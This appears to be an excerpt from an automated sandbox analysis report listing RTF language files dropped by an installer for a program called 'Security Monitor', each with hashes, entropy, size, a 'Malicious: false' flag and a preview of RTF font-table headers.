Category:	dropped
Size (bytes):	52084
Entropy (8bit):	5.088144154341775
Encrypted:	false
SSDEEP:	768:ssSn8tDcYXyC+R+8tDcpzyA/mwMWGwI+X0IjuqhR2X4PUPgb5o69HPriWEudPiaR:sswX64zI
MD5:	23F3B31CDFBD1A8A1695D3D7E4EF9B36
SHA1:	A1B344F97F06F83DD818A51338B965793167F826
SHA-256:	6774CCE8D38C1CE308190456560DDDC892BB4845220D08622C7D89BA79A148CB
SHA-512:	145B093694165C40D4B951A2193BC573E57538D0EC6252A1C659B5258ACC327573803C31BC184196B5C0AEF372157878FFF76E7250BB2B4211BCA04A0488B3C8
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\activity.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	43013
Entropy (8bit):	5.090193363439038
Encrypted:	false
SSDEEP:	768:s8SX8t+yiBkyKWm+yqBjLW5qoFxbyl2Zweq4zX:s8cf4zX
MD5:	2519F9520A2AB950F74212172A0BEB94
SHA1:	BA0E1A1C41C867840AE63A677B053DA1118F886B
SHA-256:	E1A9AD7ADB8F8E6969D8F8522118371971B6FE01CD6248819CEBEDBF2EAE9CB6
SHA-512:	AA64B50E2570FFC247DB4D7D182F56A3C0010247AAC51D030AB554DA1A1B4D465CCEA6C50389610864E4B89E4381F575672D0A53018CE18483FAD26B021C1ECE
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\alarms.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	43600
Entropy (8bit):	5.089965856777119
Encrypted:	false
SSDEEP:	768:s8SX8tS1BOd5rXmgamSN4UIRop4RiHAhzIaq4z4:s8cWRK4z4
MD5:	A79752006AFB6D9A39FC512475ED8493
SHA1:	41B4CD12ACE830E94F30119B35317B7C3C49DAEA
SHA-256:	F0DEFD01327E90A5DCB72C78B1A1D0A875D39E43AC8CD1D2BB0E63B25465BADF
SHA-512:	003CEED560F76521D0457BE2CCD3E438E7100765A6ECA110AE9EE47B43FA807DB389F1B1E1C3D001FC170B38E211E46A4D280799BEE93DA79237B9BD9B34F812
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\clipboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	34167
Entropy (8bit):	5.060082647909622
Encrypted:	false
SSDEEP:	384:p4ew9g0BnPz+p/zWFU48XTKjH2njzr8x3e9kl6YpXNEnysJQezqCdPcedBKfieoE:p4e548XTKT2njX8x3UW7U7vhezZ/6A9P
MD5:	67CFAF3E0373E3678B93AFE97714C9CC
SHA1:	67D9665DEC3734F04E4FE7F893FE12CF008769FD
SHA-256:	E47932F8DAD868BDFA11A27D4E6B6F5520D99C33FB574BB74D1FA4ED37DE33DB
SHA-512:	651811F016A6081D2913336BA4E1B7562DC3A65F7727005B25BC5F0B86C7AF97098C5AEC40FD42CEE43433B4F0036C64479A12C47D5A0A32ED42B656DE6ECDD2
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Time

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\delivery.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	79588
Entropy (8bit):	4.979859328003009
Encrypted:	false
SSDEEP:	768:p4eOev/+zl3C79k8thfqXMwANr1DZoLLXI1nHT2njX8x3Gj5g5V5V5h5G5P5N59h:p4+w60IA99
MD5:	BFC11879D9DE972A3AE377B204D09593
SHA1:	7B79C412A2AE5D21CCA333CC2F96B70DD7E1C3DE
SHA-256:	DA65EA1EAC2D7DFC5F8EA31CF07A34ECD9054B5BBE31AA7651DAB81518E67324
SHA-512:	81F878B172CC528E2ACE51BE1DE4D27B248EE8B2E5FB3C7A0B5D6A51CC5A4024B7255975F8A98F85E7BC79C16F059DC1958CDC0DDFC07CF9DA1B0926B21D0A49
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Time

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-2H716.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	79588
Entropy (8bit):	4.979859328003009
Encrypted:	false
SSDEEP:	768:p4eOev/+zl3C79k8thfqXMwANr1DZoLLXI1nHT2njX8x3Gj5g5V5V5h5G5P5N59h:p4+w60IA99
MD5:	BFC11879D9DE972A3AE377B204D09593
SHA1:	7B79C412A2AE5D21CCA333CC2F96B70DD7E1C3DE
SHA-256:	DA65EA1EAC2D7DFC5F8EA31CF07A34ECD9054B5BBE31AA7651DAB81518E67324
SHA-512:	81F878B172CC528E2ACE51BE1DE4D27B248EE8B2E5FB3C7A0B5D6A51CC5A4024B7255975F8A98F85E7BC79C16F059DC1958CDC0DDFC07CF9DA1B0926B21D0A49
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Time

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-3QCNE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	56628
Entropy (8bit):	5.001958639036602
Encrypted:	false
SSDEEP:	768:pqFk5evUwdvjLJzrrrMOcPI0QhhiLVptabQhOsWxkMvxGx5QZ+GjaorHye0HmuwB:pqnVUne8GjaUECaIA9o
MD5:	BA9CD5C6FBC3F41BA7B21B842B211D29
SHA1:	337DF42901DA8E9855D59333E4357BB3CF9953E2
SHA-256:	CD14DD162DFBA323EB79D496DB0E9D053B9D21A8AB7E300232074458A91F62E4
SHA-512:	D6A9DC42E548806E469BA0B15C40E886BE92EBBE247116FEE9E15EA83D6B3A8B19C42DF639405DBCB70B3E6859E243406CA24BBAEEAA57E95CCE26128D04ECD7
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 0

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-68BJ6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	67825
Entropy (8bit):	4.9803843553687
Encrypted:	false
SSDEEP:	768:pqeP2iXwdvjLJzrrrMOcPI0QhhiLVptabQhOsWxkMvxGx5QZTTHPmpncTUAF7s8a:pqL5UneNTHP3TIA9i
MD5:	C84BB8D1E95FF5ED4B74B8F938B7C26F
SHA1:	C661D3ECDB4B78DF45927CB9BD6AD3E97E32391B
SHA-256:	FD87095AFDF8E11217CE15975B5072A0F9543F76E6969A1C89ABA454554D8DAE
SHA-512:	6B54B1F73B15EB1EC8DA02C5ECB859A5E5ED10D41A04F667ACABCA35FA86684EC88D8AFE05C32BD84A1C8584CE6B0805A755FF36FB937484C4258D0CCE94D6E3
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-9GNLO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	53852
Entropy (8bit):	5.077126010099254
Encrypted:	false
SSDEEP:	768:s8SJmeIQTmoQBkyKWm+mqBjLW5qoISN4UIRop1BBAvqJ6Hcrfvw4QJuyHKj3z2yw:s8Urw4zS
MD5:	23DB4F7C5A211C876D606B792A96769E
SHA1:	5747AB46CEB3A87BD87CCB5723BF07E0CFBAA73B
SHA-256:	6229BB6489019CA563DBF8F11CF135C4604A22014337F3AC3FF4E39FC3624E88
SHA-512:	BFF0AAFAF0C676EB9CA6DCF5278E4796DF778943493826C8B3FE8475125C9ADDC4F5763BC64F12B62398C1B77343669BB518FD0A864E83A80CC9F3AACE519A0A
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-9TPU5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	48225
Entropy (8bit):	5.096715936522922
Encrypted:	false
SSDEEP:	768:ss/Ly89zHebIrfVY9RtmIiRAN4UIRopxdRNudR5crHZi2drk7Y9mrjbmPObWPq6S:ssmpH84z8
MD5:	2598048BFC64A464E54D6B415A7303E7
SHA1:	6FD99F1B7BB146904F310EAA185C9BEF7794DB69
SHA-256:	70C7A754C1EABFA6640D343B1CCF2F773DED987C88AC8F90331AC7DBD1B308AD
SHA-512:	D50B166D6FD03868343EB90C549A7D0D6E6E72AB3A8C73A48E7FCB80AC17BD595BE237C7AEFEE47E1AE9BA80FA5C2DA9800F9A4562E7D99E7006EC89C626A2F7
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f40\fbidi \fswiss\fcharset0\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-9VDM7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	53088
Entropy (8bit):	5.091636989377984
Encrypted:	false
SSDEEP:	768:ss/Ly89zHebIrXWeKyggjmvOnaCwL9W1bd5JIyyFXMjjv0dp+ILGmx5BfQNCrli8:ssm1Gg4zO
MD5:	505DFAF995C4EA7441C48E99C6400772
SHA1:	26C112D3664663D7B9618D11D9BF7C893DAD3A1A
SHA-256:	6D87327F851810F5CC1844EC1A39ACC0390EFB02284094EC53AF1CD4CE8CA3B2
SHA-512:	2F190B4882D740DB06E90532905A6A0EEBC73AC06D581FE993254C0E23A46E7DAAD5F63D0FF643F258D5603B6E866D8AC2447F336F109116777AB49FD824D356
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f40\fbidi \fswiss\fcharset0\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-BA9LB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	51302
Entropy (8bit):	5.092103345877651
Encrypted:	false
SSDEEP:	768:ss/LF89zHebIrmQBkyKWm+eCk4O6Cg2NjrOX/zJ0PfOyGlgOYBJiDBNBiOl/Vq/M:ssZdBa4zS
MD5:	E5A9141385B035A9DA437DD1F1083F69
SHA1:	A6959E190DCDAD51B46960285E8EFBE532648E7A
SHA-256:	F5F01449E3735132C0A835E6F6A6E9810BF63592073AD66273F6DFEAE36EB41A
SHA-512:	A7B6E252D2B28977A1C1699582BC66B40D99D4B18F47CA78BAFF8D5D0EED592FF6FD9E98E3C10658823A586244CA08A8EDD8A8B1B9B391881C7794E1F0C5EED6
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f40\fbidi \fswiss\fcharset0\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-BBQLO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	40943
Entropy (8bit):	5.062621250408577
Encrypted:	false
SSDEEP:	768:pqeS48Um0GhbtabQhOsWx/LCrLXI1n8T2njX8x3Ftt4MfRMIq818Z/6A9i:pqKH+qIA9i
MD5:	E2D6C3DBD79C905DABE49F310F9A134E
SHA1:	072CB75BBAD6904B39757E423EEDA0F3CA9FA8D7
SHA-256:	0A9C5D645D90A6D3CA88495DE5D0410CE8456C6AF5C0D56E4F225B81CECC0069
SHA-512:	EEC29BB5020AE654E7A0DB369722B1AD8286D97288C40E009B26AD20A2A9CD661B5AE9CCFFF7629B378EFC98AFA505F933F36C2AF0A49E7C7FD35D3925B0BF42
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-G0KKP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	61090
Entropy (8bit):	5.061944824308056
Encrypted:	false
SSDEEP:	768:s8/N3CelQcu09coHJreOBnAF3vlmgaJnAF3vlmgaiSN4UIRopZMggLBbWmb8Sw1w:s85g+X4zR
MD5:	F233DF0C1E13DC0EC1FBC3DFE59E36FA
SHA1:	A032C4D543AA03D01A28518894DD066D8682CE2C
SHA-256:	B465F564E4A3FC70B8D12141C5CD4E1EA9C620D4B2A7A5DC84F54D8C5701F590
SHA-512:	13CAF615E0EEEA67CD8037106E7714CACD72F4A74CB53561766D6D7546E97F62A390BB09FD5DFA3AAE56499E13CD699E13684181443E4361BECED33D8D6E26F9
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \

